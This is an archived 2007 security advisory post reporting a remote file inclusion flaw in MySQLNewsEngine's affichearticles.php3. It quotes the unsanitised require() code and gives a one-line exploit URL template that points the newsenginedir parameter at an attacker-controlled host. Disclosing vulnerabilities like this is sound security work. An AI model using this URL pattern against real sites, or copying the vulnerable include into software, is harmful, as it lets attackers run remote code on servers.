MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln. Feb 06 2007 08:17PM
gokhankaya hotmail com
# Title : MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.
# Author : Blaster, CanberX
# Contact : msn (at) bl4ster (dot) net [email concealed] | gokhankaya (at) hotmail (dot) com [email concealed]
# Download : http://www.comscripts.com/jump.php?action=script&id=625
#
#
# Vuln code : affichearticles.php3
#
# $sigfile = $newsenginedir . "include/signature.inc";
#
# require("$sigfile");
# http://[site]/[path]/affichearticles.php3?newsenginedir=[attacker]
#
#
# GreetZ: BLaCKWHITE, LGMAN, HackerBox.Eu,
# HackerBox Group Turkey !

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus